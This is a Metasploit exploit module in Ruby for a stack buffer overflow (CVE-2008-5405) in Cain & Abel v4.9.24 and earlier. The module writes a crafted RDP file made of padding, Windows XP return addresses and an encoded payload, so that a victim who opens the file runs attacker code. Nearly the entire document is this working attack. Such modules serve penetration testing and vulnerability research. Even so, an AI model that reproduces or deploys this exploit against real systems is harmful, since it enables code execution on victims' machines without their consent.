Cain & Abel <= 4.9.24 - RDP Buffer Overflow

                                                ##
# $Id: cain_abel_4918_rdp.rb 11127 2010-11-24 19:35:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Cain & Abel <= v4.9.24 RDP Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in the Cain & Abel v4.9.24
				and below. An attacker must send the file to victim, and the victim must open
				the specially crafted RDP file under Tools -> Remote Desktop Password Decoder.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'Trancek <trancek[at]yashira.org>' ],
			'Version'        => '$Revision: 11127 $',
			'References'     =>
				[
					[ 'CVE', '2008-5405' ],
					[ 'OSVDB', '50342' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/7329' ],
					[ 'BID', '32543' ],
				],
			'Payload'        =>
				{
					'Space'    => 800,
					'BadChars' => "\x00\x0a\x0d\x3c\x22\x3e\x3d",
					'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					# Tested ok patrickw 20090503
					[ 'Windows XP SP2 English', 	{ 'Ret' => 0x7c82385d } ], #call esp
					[ 'Windows XP SP0/1 English', 	{ 'Ret' => 0x71ab7bfb } ], #jmp esp
					[ 'Windows XP SP2 Spanish',	{ 'Ret' => 0x7c951eed } ], #jmp esp
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Nov 30 2008',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'exploit_cain.rdp']),
			], self.class)
	end

	def exploit

		filerdp = rand_text_alpha_upper(8206)
		filerdp << [target.ret].pack('V') + [target.ret].pack('V')
		filerdp << payload.encoded
		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(filerdp)

	end

end